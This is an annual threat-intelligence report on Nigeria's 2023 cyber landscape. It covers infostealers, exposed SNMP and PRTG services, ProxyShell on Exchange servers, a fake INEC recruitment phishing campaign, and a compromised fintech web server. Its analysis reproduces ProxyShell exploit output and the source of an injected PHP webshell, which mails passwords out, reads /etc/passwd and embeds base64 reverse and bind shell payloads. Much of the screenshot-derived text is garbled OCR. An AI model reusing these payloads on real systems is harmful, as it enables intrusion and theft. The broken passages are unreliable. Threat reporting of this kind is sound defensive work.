The use of pirated operating systems and software has contributed to the increased infection rates on personal laptops and other mobile devices. Our SOC Team has observed activities related to Info stealer malware such as Racoon, RedLine, Pony, and Agent Tesla across various industry verticals during proactive monitoring and incident response engagements. These malware capabilities have been observed packaged into ransomware code, leading to data exfiltration and encryption activities during ransomware deployment.

A recent report by Group-IB revealed the discovery of a new web-based control panel called W3LL, used by cybercriminals to manage various types of malware, including banking trojans, ransomware, and information stealers. This control panel is being sold on the dark web and is marketed as a "one-stop shop" for managing malware campaigns. The discovery of this control panel highlights the growing sophistication of cybercriminals and emphasizes the need for businesses to take proactive measures to protect their systems and data from these types of attacks.



sample credential from W3LL, capturing a sample data from Lagos Nigeria

To defend against Info stealer malware and other types of malware, organizations must take proactive measures to enhance their cybersecurity posture. This includes implementing robust and proactive cybersecurity controls that are risk-based, as well as providing regular cybersecurity training to employees to raise awareness of the risks associated with cyber-attacks and how to prevent them.

In conclusion, the Info stealer malware poses a significant threat to organizations in Nigeria in 2023, and businesses need to take proactive steps to protect themselves from these types of attacks as they move forward into 2024.

https://www.group-ib.com/media-center/press-releases/w3ll-phishing-report/

What happened in the second quarter of 2023?

Cyber plura

2023 Q2 at a glance



Multiple cyber incidents have gone unreported in Q2 of 2023 in Nigeria. We observed that if organizations/ businesses continue this way, it might end up eroding the digital trust on which society relies and give more advantages to threat actors



CVEs from 2021, 2022 and Q1 and Q2 of 2023 are still been exploited. Government, schools, and businesses were targets of multiple breaches and ransomware attacks in Q2. The focus is on supply chain attacks, data espionage, ransomware, and hacktivism.



Our Dark web HUMINT engagement reported a followup on the MOs and activities of newly regroup ransomware threat actors. More ransomware and business email compromise attacks were observed in South Africa, Nigeria and Kenya





Misconfiguration, Insecure Design and Lack of Proper logging and monitoring were identified as root causes of cyber incidents observed in Q2.

Vulnerabilities in Routers and SNMP Exploitation



One of the advisories from CISA highlighted the targeting of vulnerabilities in routers by threat actor groups, particularly those made by Cisco. The CTI team has undertaken a detailed examination of this advisory and its relevance to Nigeria and other countries in the African region.

https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-108

Vulnerabilities in Routers and SNMP Exploitation

The advisory emphasized two primary methods used by adversaries to target Cisco routers. Firstly, the exploitation of the Simple Network Monitoring Protocol (SNMP), which can be abused to steal sensitive network information and penetrate a network. Secondly, attackers have leveraged outdated software and operating systems to compromise entire organizations.



Number of internet-facing SNMP services.

Upon further investigation, it was found that there are almost 40,000 internet-facing devices with SNMP ports, with Cisco Systems leading the chart, followed by Mikrotik. Additionally, it was discovered that over 10,000 of these devices are running SNMP version 1, which presents a high level of risk due to clear text communication of community strings.

Furthermore, it was observed that the network monitoring tool PRTG, commonly deployed by organizations, leverages the SNMP port on network devices and hosts for data collection. Misconfigurations in PRTG have exposed internal systems, leading to potential attacks such as enumerations and discovery.

C A Not secure	index.htm?logout=1	년 ☆		• • • • • • • • • • • • • • • • • • •
n is frite often - 🔘 if 2011 🕜 stationersphysica. 1	🕻 Bolith P Legger A 🔘 Herd S	d/Vgna la 🔝	WHE STROP	 Statistic Esses - St. Partialityle - DEF.
PRTG Network Monitor (TV			PNN	
Password			P. Cl	aessier Blog hanging the Paessier PRTG interface for 500,000 u In anound 50 years on the market, Passaer PRTG is a remaining pander that where the Neural to part page and which memory and that a very same
	Login		Fr.	extons benefits from clearer visibility and a deeper to the IT of many maps comparise. Fortune had retries tools in place naming in paralle skiller, it returnly exected a contrained solidare to unity the monitoring of this appacts of the Terministrems. This was one of the maps collampos that the
Download Client Apps (optional, for Windows, macOS, iOS,	Android)		4	ways to protect your OPC UA environment right no (UA is a weeky indepted landard in Industried involvements, Despite this, there and positions with its anounty This was clearly downsitiated in Add 2022 an two hackers at Part2Oan (a hacker conference that offers prose to
> Forgot password? > Need Help?			No. 1111 Vero Alte	etwork automation with PRTG & IP Fabric: do mor Instelling to same a technology that's stat to today's "teneeted everything" relic to originate in the 1495. I be not many of you would respond with 2496° hough the term Application Program (without the virg suffa) Interface waart
			W	le at Paessler are changing the way we work at our housed on which been our constitution caller before beauting and indust the
Thank You For Using PRTG Network Monitor				

PRTG platform with default credential

In light of these findings, organizations and businesses with similar infrastructure and services are advised to apply security best practices around the management of SNMP ports and their usage. This includes addressing issues related to the use of older versions, misconfigurations, and the reconfiguration of PRTG dashboard access from the default settings.

Continuous vulnerability management is recommended for all assets, whether internal or external facing, within the purview of all organizations and businesses.



Information from misconfigured PRTG platform



Information from misconfigured PRTG Dashboard.

Persistent Vulnerabilities: The Ongoing Threat to Microsoft Exchange Servers



The ProxyLogon, ProxyShell, ProxyNotShell, and OWASSRF exploit chains have been utilized to target Microsoft Exchange servers in various industries. The exploitation of these vulnerabilities is particularly concerning given that most of the CVEs are from 2021, and yet, vulnerable servers have been identified in our space during threat hunting in 2023.

Persistent Vulnerabilities: The Ongoing Threat to **Microsoft Exchange Servers**

ProxyShell is a method of compromising Exchange servers without requiring login credentials, exploiting three system vulnerabilities to execute commands on the server via the internet.

To provide a comprehensive overview of these exploits:

- CVE-2021-34473: Enables arbitrary backend URL access as the Exchange machine account (NT AUTHORITY\SYSTEM).
- CVE-2021-34523: Elevation of Privileges to gain access to the Exchange PowerShell backend for running PowerShell commands.
- CVE-2021-31207: This vulnerability leverages the New-MailboxExportRequest cmdlet to export the user mailbox to an arbitrary file location, which can then be used to write a web shell on the Exchange server.

The exploitation of these vulnerabilities poses a significant risk to the security and integrity of Microsoft Exchange servers, and it is crucial for organizations to promptly address these issues to mitigate potential threats.

s python3 == proxyshell py https://pi.ll 10/								
+) Determining number of Exchange backend servers								
+) Exchange Backend Servers: [' -ex01. als.com', ' -ex002. tals.com']								
+) -ex01. tals.com - version: 15.2.221.18								
[+] -ex01. tals.com - version short: Exchange Server 2019 RTM Mar21SU								
[+] -exθ1. tals.com - user: ΝΤ ΑUTHORITY\SYŠTEM								
[+] -exθ1. tals.com - sid: S-1-5-18								
[+] -ex002 itals.com - version: 15.2.221.12								
[+] -ex002 itals.com - version short: Exchange Server 2019 RTM								
[+] -ex002 itals.com - user:TALS\EX01\$								
[+] -ex002 itals.com - sid: S-1-5-21-] [104								
[+] Successfully parsed SID via backend request: S-1-5-21 1104								
[+] Attempting to retrieve Active Directory emails								
[+] Enumerated 110 possible UserMailbox LegacyDNs from Active Directory								
[+] Enumerated 100 possible User LegacyDNs from Active Directory								
[+] Enumerated SMTP domains: {'outlook.com', 'tals.com', 'tals.com								
[
[+] Attempting to retrieve SID for /o=ExchangeLabs/ou=Exchange Administrative Group (1) Difference of the second secon								
/cn=Recipients/cn= 0lu								
[+] Successfully parsed SID via UserMaltdox object: S-1-5-21-								
[+] Attempting to discover SiD via 49 builtin email compliations								
isiont/cn=740465251454427820708165667072 Administrative Group (FDIBONF235PDLT)/Ch=Rec								
1p1ents/cn=/4e940a251u54u2/0592/e010ae10/95-Adm1115t								

Exploit Kit available and can be use to established PowerShell Access

The exploitation of these vulnerabilities is particularly concerning given that most of the CVEs are from 2021, and yet, vulnerable servers have been identified in our space during threat hunting in 2023. This indicates a persistent and ongoing risk, with organizations still exposed to potential attacks despite the availability of patches and security updates.

Outlook 2 HTTP/1.1 200 OK inb goving Cache-Control: no-cache, no-store
 Issued By:
 CVE-2021-34473

 i- Common Name:
 CVE-2021-31206

 Scetigo RSA Domain
 CVE-2021-31206

 Validation Secure Server
 CVE-2021-34523
 Issued By: over AutoLa Pragma: no-cache hq-exc2 Content-Type: text/html; charset=utf-8 yer3 Limited Expires: -1 Nigeria, Abuja CA Server: Microsoft-IIS/10.0 CVE-2021-31207 request-id: 4b61314e-4af2-48c8-97a8-d3378a02c537 - Organization: Sectigo Limited X-Frame-Options: SAMEORIGIN X-AspNet-Version: 4.0.30319 Issued To: X-Powered-By: ASP.NET Date: Sat, 06 M... - Common Name inb. Supported SSL Versions TL Sv1 2

2023-05-06T16:13:43.111709

A OWA service vulnerable to bunch of CVEs including ProxyShell via shodan.

N



A OWA service vulnerable to bunch of CVEs including ProxyShell via shodan.

CyberPlural Annual Cybersecurity Report 2023

Furthermore, it has been observed that many ransomware initial access points were established through vulnerable Outlook Web Access (OWA) services, particularly in the last and second quarter of 2023. This highlights the real-world impact of these vulnerabilities, as threat actors continue to exploit them to gain unauthorized access and carry out malicious activities within compromised networks

🗰 Mail		A 🕸 ? 🕓
Search Mail and People 👂	🐨 Send 🔋 Attach Discard 🚥	ø
 Favorites 	Drafts Filter - To O Administrator -	Bcc
Inbox 12385 Sent Items Drafts 80	Administrator geelg.cgwelywaso 4/05/0022 Cc helio from durivess side	
Deleted Items Administrator Inbox 12385	Administrator grighterhioysoalar kennesspaghiook 4/25/0002 helio hom darivess side FileAttachment.txt	
Drafts 80 Sent items	Administrator Mttywethewoffe	
Deleted Items Journal Junk Email	Administrator ctph:rdsubbletger 4/25/0002 belo from duriness side	
Junk E-Mail Notes RSS Feeds	Administrator	
SearchResults	Administrator gelegoomified hete tem derivers side Send Discard B I U Z A I U Z A I U Z A I I U Z A I I U Z A I I U Z A I I I U Z A I I I U Z A I I I U Z A I I I I I I I I I I I I I	D

Observation of Exploitation attempts in Administrator Inbox

The presence of these unaddressed vulnerabilities poses a significant security threat to organizations, underscoring the urgent need for proactive measures to secure Microsoft Exchange servers and prevent the exploitation of known vulnerabilities. Organizations must prioritize patch management, security updates, and ongoing monitoring to safeguard against potential attacks and protect sensitive data from unauthorized access and exploitation.

https://www.mandiant.com/resources/blog/pst-want-shell-proxyshell-exploiting-microsoft-exchange-servers

Back to the first quarter of 2023!

2023 | Q1 at a glance



Some of the cyber threat predictions towards the buildup of the 2023 general elections were observed; ranging from setting up <u>fake INEC recruitment</u> portals, massive social media propaganda & fake grants set up to collect personally identifiable data of citizens



CVEs from Q4 of 2022 and Q1 of 2023 are still been exploited. Multinationals, schools, and businesses are targets of multiple breaches and ransomware attacks in Q1. Multiple releases of previously ransomed organizations' data to the dark web upon not heeding the payment request.



Our Dark web HUMINT engagement reported a followup on the MOs and activities of hacktivist groups like Anonymous Sudan and Killnet. Collaboration across the global law enforcement community had led to the arrest of some forum leads and the shutdown of markets



Threat Intelligence Ops reveals credential exposure and data leakage in <u>Nigeria</u>. Affected parties were notified and mixed feedback was received. Multiple discoveries expose personally identifiable information, credentials, and mail access currently being used as launch beds.

Misconfiguration, <u>Insecure Design</u> and Lack of Proper logging and monitoring were identified as the top flaw of web applications tested in Q1.

Phishing Threats Targeting Unsuspecting Users in Nigeria, Ghana, and Kenya



In early 2023, a fraudulent INEC recruitment portal emerged in our region, prompting several media outlets to report on INEC's disclaimer regarding the platform's authenticity.

Phishing Threats Targeting Unsuspecting Users in Nigeria, Ghana, and Kenya



INEC advised Nigerians to be cautious and not to fall victim to the ploy of malicious threat actors seeking their Personally Identifiable Information (PII) for potential social engineering attacks. The URL of the fake portal was identified as

https[:]//yournewclaims[.]com/Inec-Recriutment/, with a noticeable spelling error in the word "Recriutment."

Upon conducting a thorough analysis of the recruitment portal, we sought to understand the actor's motivations and potential objectives when users interacted with the form. Our investigation revealed that the domain hosting the malicious portal had been used to host similar fake platforms since 2022, including fake youth empowerment programs, fictitious job opportunities in Nigeria and Ghana, visa sponsorships, and fraudulent grants from presidential aspirants. The actor recently updated the domain with the fake INEC portal, WAEC-Jobs, rutogrants for their 2023 and campaign.

A common thread among all these fake pages was the actor's alignment with current events and activities in Nigeria, Ghana, and Kenya, where the pages were implemented to phish unsuspecting users. The distribution medium for these campaigns has been WhatsApp Groups, utilizing the Lyupz shortener to conceal the threat actor's main domain. To identify malicious URLs abusing the Lyupz shortener, users can search for "lyupz.com" in their WhatsApp groups.

Of particular interest is the fact that unsuspecting users have unwittingly contributed to the dissemination of these links, believing they are sharing new opportunities with others. However, this inadvertently threat amplifies the actor's campaign, increasing its potential impact. We recommend that links whose sources cannot be verified should not be shared on social platforms like Facebook and WhatsApp to prevent unsuspecting users from falling victim to threat actors seeking to collect PII and sensitive information other for potential fraudulent activities or impersonation.

CyberPlural Annual Cybersecurity Report 2023

				← lyupz.com		• ×	Ŧ				
80	+234 806	-754									
	INEC RECRUITMENT	FOR THE 2023 G	ENERAL ELECTION E 2023 GENERAL ELECTION!	+234 806 978 1960: INEC RECRUITMENT FOR THE 2023 GENERA							
				Abuia		-					
	INEC RECRUITME	NT FOR THE 20	23 GENERAL ELECTION	+234 803 INE	C RECRUITMENT FOR	R THE 2023 GENERA	sday 				
	The Commision ha part of 2023 Gener *This is another o	s opened Applic al Election Staff. pportunity to k	ation for interested individua Thousands of applicant fro a permanent INEC STAFF	+234 805 : BO	LA AHMED TINUBU	Mor IEW YEAR GIFT FOR A	nday				
	Positions Available SUPERVISORY PRE REGISTRATION AR	SIDING OFFICE	R (SPO) D MANAGER	Duta Live Score +234 816 5: API	PLY FOR QATAR SCHO	12/29/2 DLARSHIP 2023, FULL	2022 L				
	ASSISTANT PRESID PRESIDING OFFICE APPLY NOW	ING OFFICER (A R AND OTHER F	PO) IOLES	Job Links 🔗 +234 813 👘 📑 Fed	leral Civil Service Con	11/25/2 nmission 2022/23 Ma	2022 a				
	https://lyupz.com/	2023-Inec-Staff-	Recruitment	A DA 2022. 11/17/2022 A amasi: Federal Civil Service Commission 2022/23 Massi							
TINU +234	ISHET Students Va 803 481 6506: AUSTR	nguar ALIA	10/19/2022 ONSORSHIP and JOB	11/15/2022 +234 806 Federal Civil Service Commission 2022/23 Ma Alumni - FCT 11/10/2022 4268: _ATTENTION!! ATTENTION!! B							
E D F +234	816 AUSTR	alia	10/11/2022 PONSORSHIP and JOB								
< C	https://yournewclaims.com	1		Aª Q Lo	¢1						
	Filter Name				free 30GB for 2 m	10/24/2 nonths(60days) Cong	2022 Jr				
	Name 1		Last Modified 0	Size 0							
	🖿 2022-You	th-Empowerment	2022-08-07 17:28								
	Matkowa-	10K-campaignfunds	2022-11-19 16:36			10/23/2	2022				
	🖿 Atku-car	npaignfunnds	2022-12-30 10:26		ident National El	ectoral Commission					
	🖿 ogi-bin		2022-12-31 11:28		sographing fo		n				
	🖿 grajobs-2	022	2022-10-09 14:28		searching to	ather from the set	υμ ανκα				
	inec-Rect	latment .	2023-01-02 22:36		to identified	other traudulent lir	NKS				
	🖿 Osinbajoj	prants -	2022-04-14 11:37								
	rutogrant	1	2022-12-28 20:15								
	Tinubu-C	ampaignFund	2022-12-30 10:22								
	WAEC-N		2023-01-02 22:38								
	D 2022-You	th-Empowerment.zip	2023-01-02 2040	2180k							
	D Adkowa-	tok-campaignfunds.zip	2022-11-19 16:19	2144k							
	D Inec-Real	vtment_zip	2023-01-02 2038	1632k							
tutogrants.zjp 2023-01-02-2019 United sale size				6816k							
	C) WALC-18	9.7p	2022-12-10 1990	4,048							
	Proudly Served by U	teSpeed Web Server at yournewclaims.com	n Port 443								

domain hosting the malicious portal had been used to host similar fake platforms since 2022

loC

https[:]//yournewclaims[.]com/ https[:]//yournewclaims[.]com/Inec-Recriutment/ https[:]//yournewclaims[.]com/2022-Youth-Empowerment/ https[:]//yournewclaims[.]com/Atikowa-10K-campaignfunds/ https[:]//yournewclaims[.]com/Atiku-campaignfunnds/ https[:]//yournewclaims[.]com/grajobs-2022/ https[:]//yournewclaims[.]com/Osinbajogrants/ https[:]//yournewclaims[.]com/rutogrants/ https[:]//yournewclaims[.]com/ https[:]//yournewclaims[.]com/ https[:]//yournewclaims[.]com/ https[:]//yournewclaims[.]com/ https[:]//yournewclaims[.]com/

Mitigating Security Risks in Fintech & Utility App

<pre>\$ = "400 \$ = true \$ = 'UTF \$ \$ = 'Fil \$ \$ = md5(0 if (!isse proto }</pre>	<pre>12cac11a868e92158757fbe98145fd"; '; 'sesMan'; '\$_SERVER['HTTP_USER_AGENT']); 't(\$_COOKIE[md5(\$_SERVER['HTTP_HOST'])."k 'type(md5(\$_SERVER['HTTP_HOST'])."key", \$</pre>	ey"])) { 	
(1) PHP/Webshell.S5	ALYac	Backdoor.PHP.WebShell.BD
	Trojan[Downloader]/JS.Cryxos	Arcabit	Backdoor.PHP.WebShell.BD
	PHP:BackDoor-CL [Trj]	AVG	PHP:BackDoor-CL [Trj]
I) (Baidu	PHP.Backdoor.WebShell.y
	Backdoor.PHP.WebShell.BD	Cynet	() Malicious (score: 99)
	ABRisk.YHBM-1	DrWeb	PHP.Shell.26
	Backdoor.PHP.WebShell.BD (B)	eScan	Backdoor.PHP.WebShell.BD
(1) PHP/Webshell.NSW	F-Secure	Backdoor.BDS/WebShell.G6

Web applications and software often require user interaction for proper functionality. When using web applications, users are typically required to provide personal information such as email addresses for registration, and payment information when making online purchases.

Mitigating Security Risks in Fintech & Utility App

However, the challenge with user input is that it can also enable a hacker to submit harmful content to deceive the website or app into acting maliciously. Therefore, any system that accepts user input must have input validation to protect against such threats.

In the case at hand, we have identified a scenario where the absence of proper input validation and other misconfigurations allowed an attacker to inject a crypto miner and a PHP backdoor into a web application server. This enabled the attacker to maintain persistence and capture sensitive information contained within the server. The malicious backdoor script provided the attacker with the ability to access CPU information and query kernel version information, indicative of a miner or evasive malware. The script also contained a string indicative of a multi-platform dropper. The miner was found to have minimal detection by only 9 antivirus engines, and further investigation revealed that the attacker leveraged the absence of proper input validation on user image file types during upload to compromise the server.

Input validation is essential to ensure that only correctly structured data enters the workflow of an information system, preventing the retention of incorrect data in the database and the dysfunction of downstream components.

<pre> f = "4002caclla868e92158757fbe98145fd"; f = true; f =</pre>	23	<pre>if(array_key_exists('watching',\$_POST)){ \$tmp = \$_SERVER['SERVER_NAME'].\$_SERVER['PHP_SELE']."\n".\$_POST['pass']; @mail('arjunrk2031@gmail.com', 'root', \$tmp);</pre>
<pre>10 If (Isset(5_COMRE[HDD](5_SERVER['HTP_HOST'])."key", \$;; 12 13 if(empty(\$ POST['charset'])."key", \$;; 14 if(isset(\$ POST['charset'])) 15 if(isset(\$ POST['charset']) \$; POST['a'] = iconv(*utf-8", \$_POST['charset'], decrypt(\$_POST['a'],\$_COOKIE[md5(</pre>	756789	<pre>% = "4002cacl1a868e92158757fbe98145fd"; % = true; % = 'UTF-8'; % = 'FilesMan'; % = md5(\$ SERVER['HTTP_USER_AGENT']); % = md5(\$ SERVER['HTTP_USER_AGENT']);</pre>
<pre>15 if (lisset(\$ POST['a']) \$ POST['a'] = iconv(*utf-8", \$_POST['charset'], decrypt(\$_POST['a'],\$_COOKIE[md5(</pre>	16 11 12 13	<pre>if (isset(S_COWLE(mOS(S_SERVER('HITP_HOS(')). "key")) { prototype(mdS(S_SERVER('HITP_HOS(')). "key", S_); } if(empty(S_POST['charset'])) S_POST['charset'] = S_ </pre>
<pre>1/ S_SERVER('HTTP_HDS_PAB 18 if(isset(\$ POST['p1'])_{897 19 if(isset(\$ POST['p2'])_{91} 19 if(isset(\$ POST['p2'])_{91} 10 if(isset(\$ POST['p2'])_{937} 10 if(isset(\$ POST['p2'])_{937} 11 if(isset(\$ POST['p2'])_{937} 12 if(isset(\$ POST['p2'])_{937} 13 if(isset(\$ POST['p2'])_{937} 14 if(isset(\$ POST['p2'])_{937} 15 if(isset(\$ POST['p2'])_{937} 16 if(isset(\$ POST['p2'])_{937} 17 if(isse</pre>	15	<pre>if (lisset(s_POST['nc'])) { if(isset(s_POST['a']) \$ POST['a'] = iconv("utf-8", \$_POST['charset'], decrypt(\$_POST['a'],\$_COOKIE[md5(</pre>
<pre>11 [15 Set(S_POST(PZ_J) P3] md5 [S_SERVER['HTTP 20 if (isset(\$_POST('p2')) b92 md5 [S_SERVER['HTTP 30 if (isset(\$_POST('p2')) b92 b94 if (isset(\$_POST('p2')) b92 if (isset(\$_POST('p</pre>	18	<pre>strvEr['HTTP Hosts'Rest if (SLOBALE['os'] == 'nix') { if(SLOBALE['os'] == 'nix') { showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a ']<[view]="" \",="" \'passwd',="" a="" href="#" onclick='g(\" FilesTools\", \' retc="">":'no']; </pre>
<pre>94 94 if()\$GL08ALS['safe_mode]) { 95 95 96 97 97 98 97 98 97 98 97 98 97 98 98 98 98 98 98 98 98 98 98 98 98 98</pre>	26	<pre>if(Isset(s_POST('PZ')) md5(s_SERVER['HTTP if(isset(s_POST['P3'])) md5(s_SERVER['HTTP_393] showSecParam('Dsversion', @file_get_contents('/proc/version')); showSecParam('Dsversion', @file_get_contents('/proc/version'));</pre>
<pre>cnkrootkit, 'jtpales', 'iprw', 'tripwire', 'snieudc', 'portsentry', 'snort', 'ossec',' lidsadm', 'tcplodg', 'sxid', 'logcheck', 'logwatch', 'sysmask', 'zmbscap', 'sawmill', 'wormscan' , 'ninja'); 997 \$downloaders = array('wget', 'fetch', 'lynx', 'links', 'curl', 'get', 'lwp-mirror'); 998 echo 'chr>; 999 \$temp=array('suserful as s_) 100 foreach ('suserful as s_) 401 if (which('s_))</pre>	-	<pre>194* if(ISGLOBALS['safe mode']) 195 195 195 195 396 396 396 396</pre> 11 f(ISGLOBALS['safe mode']) 195 396 396 396 396 396 396 396 396 396 396
399 \$temp=array(); 400 * foreach (\$userful as \$_]) 401 * if(which(\$_]))		<pre>cnkrootkit','iptables','iptw','tripwire','shieldcc','portsentry','ssort','ossec','</pre>
stempij = s_;		1999 Stemp_array(); 100 v foreach (Suserul as s↓) 401 v if(which(s↓)) 902 Stemp[] = s↓;

PHP backdoor injected into a web application server

It is crucial that data from all potential sources, including backend feeds from suppliers, partners, vendors, or regulators over extranets, undergo input validation to prevent a wide range of attacks that can be made against a web application. These attacks include Buffer Overflow, SQL Injection, and Cross-Site Scripting (XSS).

37	() 37 security vendors and no sandboxes flagged t	his file as malicious		
? × Community Score ✓	1f2d1cb13aa7c439886da0217e7ea81f70282ff075841956 bc9 10 (1).pHp php) (detect-debug-environment)	ib2baaa7e05590	77.77 КВ Size	2023-02-14 23:04:27 UTC 4 days ago
AhnLab-V3	PHP/Webshell.85	ALYac	() Back	xdoor.PHP.WebShell.BD
Antiy-AVL	Trojan[Downloader]/JS.Cryxos	Arcabit	① Back	door.PHP.WebShell.BD
Avast	PHP:BackDoor-CL [Trj]	AVG	① PHP	BackDoor-CL [Trj]
Avira (no cloud)	BDS/WebShell.G6	Baidu	() PHP	Backdoor.WebShell.y
BitDefender	Backdoor.PHP.WebShell.BD	Cynet	() Mali	cious (score: 99)
Cyren	ABRisk.YHBM-1	DrWeb	① PHP	Shell 26
Emsisoft	Backdoor.PHP.WebShell.BD (B)	eScan	() Back	door.PHP.WebShell.BD
ESET-NOD32	PHP/Webshell.NSW	F-Secure	() Back	xdoor.BDS/WebShell.G6
Fortinet	PHP/WebShell.BD!tr	GData	() Back	door.PHP.WebShell.BD
Google	① Detected	Ikarus	() Back	xdoor.PHP.WebShell

While the OWASP Cheat Sheet on Input Validation emphasizes its importance as the primary method of preventing XSS, SQL Injection, and other attacks, it also notes that it can significantly reduce the impact of these attacks if implemented properly. In larger applications, Web Application Firewalls (WAF) and Web Application and API Protection (WAAP) can be applied to mitigate and cover all attack vectors.

1570	SUBLE CONNECT - 121012x12009rnW02o1VLmg+Duojaw5jaw5javK2SAGCSte2SNV12110CSorg0K12tu12x12009ra5100td2XQVan+ uaD4NCmludCBtYW1uK6ludCBhcmdjLCBjaGFyICphcmd2W10pIHsNCiAgICBpbnQgZmQ7DQogICAgc3RydWN0HNVY2thZ6RyX2LuIHM pbjsNCiAgICBKYWYtb240MSwkTsNCiAgICBzaW4uc2luX2ZhbWlseSA9IEFGX0l0RVQ7DQogICAgc2luLnNpbl9wb330ID0gaHRvbnM oYXRvaShhcmd2W2JdK5k7DQogICAgc2luLnNpb19h2GRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2W2FdKTsNCiAgICBmZCA9IHNVY2t ldChBRl9JTkVULCBTT0NLX1NUUkVBTswgSVBQUk9UT19UQ1ApIDsNCiAgICBgZiAoKGNvbm5lY3QoZmQsIChzdHJ1Y3Qgc29ja2FkZHI gKikgJnNpbiwgc2l6ZM9mKHN0cnVjdCBzb2NrYWRkcikpKTwwKSB7DQogICAgICAgIHBlcnJvcigiQ29ubmVjdCBmYWlSIk7DQogICA gICAgHJJdHVybiAw0w0KICAgIH0NCiAgICBkdXAyKGZkLCAwKTsNCiAgICBkdXAyKGZkLCAxKTSNCiAgICBkdXAyKGZkLCAyKTSNCiA
1577	<pre>\$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQpic2UgU29ja2V00w0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJ FcnJvcjogJCFcbi1p0w0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWZFdLCAkaWFKZHTpIHx8IGRpZGgiRXJyb3I6ICQhXG4iKTSNCiR wcm90bzlnZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09D50VULCBTT0NLLXINUUVKBTSwgJHByb3RvKSB8fCB kaWUOIKVycm9yOiAkIVxuIik7DQpjb25UzWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUOIKVycm9yOiAkIVxuIik7DQpvcGVuKFNUREl 0LCAiPiZTT0NLRVQiKTsNCm9wZW40UIRET1VULCAiPiZTT0NLRVQiKTSNCm9wZW40UIRERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSg nL2Jpbi9zaCAtaScp0w0KY2xvc2UoUIRE5U4p0w0KY2xvc2UoUIRET1VUKTsNCmNsb3NlKFNUREVSUik7";</pre>
1578	<pre>\$bind_port_c="l2\uY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3RyaW5nLmg+DQojaW5jbHVkZSA8dW5pc3RkLmg+DQojaW5jbH VkZSA8bmV0ZGluaD4NCiNpbmNsdWRIDXzdGRSaWIuaD4NCmludCBtYULvKCludCBhcmdjLCBjaGFyICoqYXJnd1kgew0HICAgIGludC BzLGMsaTsNCiAgICBjaGFyIHBbHzBd0w0KICAgIHN0cnvjdCBzD2NrYWRkcl9pbiBy0w0KICAgIGRhZM1vbigxLDApOw0KICAgIHMgPS Bzb2NrZXQoQUZfSU5FVCxTT0NLX1NUUkVBTSwkKTsNCiAgICBpZighcykgcmV0dXJuIC0x0w0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0 LORV07D0ogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2kCvXJnd1sxX5Kp0w0KICAgIHIuc2luX2ZhbWlseSA9IEFGX0 LORV07D0ogICAgci5zaW5fcG9ydCA9IGh0b25zKGF0b2kCvXJnd1sxX5Kp0w0KICAgIHIuc2luX2EhZHuc19hZGRyID0gaHRvbmwoSU 5BRERSX0F0W5k7DQogICAgTLagICAgICAgICAgICAgICAgICAgICAgICAgICAgICA</pre>
1579	<pre>\$bind_port_p="IyEvdXNyLZJpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWki0w0KaWYgKEBBUkdWIDwgMSkgeyBleGl0kDEp0yB9DQ p1c2UgU29ja2V00w0kc29ja2V0kFMsJ1BGX0l0RVQsJ1NPQ0tfU1RSRUFNLGd1dHByb3RvYnLuYW1KCd0Y3AnKSkgfHwgZGl1ICJDYW 50IGNyZWF0ZSBzb2NrZXRcbi17DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCXTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FKZH JfaW4oJEFSR1ZbMF0sSUSBRERSX0F0WSkpI1k81GRpZSAiQ2Fx04CBvcSVuIHBvcnRcbi17DQpsaXN0ZW40UywzKSB8fCBkaWUgINNbn QgbGlzdGVuIHBvcnRcbi17DQp3aGlsZSgxK5B7D0oJYWNjZXB0KENPTk4sUyk7D0oJaWYoISgkcGLkPWZycmspK5B7DQoJCWRpZ5AiQ2</pre>

Connection detail - PHP backdoor injected into a web application server

10.pHp ad.p	Hp log			
9	(1) 9 security vendors and no sandboxes flagged this file as	s malicious		@ € 💥
<pre>/61 ? X Community Score ✓</pre>	0c605b12dee14be192f6a81ac46a8bfbcd11aa8979d5e894ba03a 0359 log (2) eff 64bits upx	e1891f9 357.28 KB Size	2022-12-23 07:29:05 UTC 1 month ago	A9 ELF
DrWeb	① Tool.Linux.BtcMine.3592	Fortinet	PossibleThreat	
Jiangmin	RiskTool.Linux.ddc	Microsoft	() Trojan:Linux/Multiverze	
Panda	() ELF/TrojanGen.A	Symantec	() Trojan.Gen.NPE	
TrendMicro	() Trojan.Linux.ZYX.USELVL722	TrendMicro-HouseCall	Trojan.Linux.ZYX.USELVL722	
Zillya	① Tool.BitCoinMiner.Linux.460	Acronis (Static ML)	O Undetected	

VT shows a very minimal detection with 9 engines located miner

In conclusion, input validation is a critical requirement for any web application that allows user input. Without control over the items added to the system, attackers have numerous techniques at their disposal for hacking purposes. In addition to the identified security vulnerabilities, several fintech applications were also plagued by race condition vulnerabilities earlier in the year. These vulnerabilities had a significant impact on the affected applications, resulting in substantial financial losses on a large scale.

Race condition vulnerabilities occur when the outcome of a system's functionality is dependent on the sequence or timing of other events or processes. In the context of fintech applications, race conditions can lead to unexpected and harmful consequences, such as financial transactions being processed out of order or incorrect data being accessed or modified.

This type of vulnerability poses a significant risk to the security and reliability of financial systems, as it can result in financial losses, data corruption, and operational disruptions at a large scale. The presence of race condition vulnerabilities in fintech applications underscores the critical importance of thorough testing, secure coding practices, and ongoing security assessments to identify and mitigate such risks.

The race condition vulnerabilities posed a serious threat to the security and integrity of the fintech & utility applications, highlighting the critical need for robust security measures and proactive vulnerability management within the financial technology sector.

loC

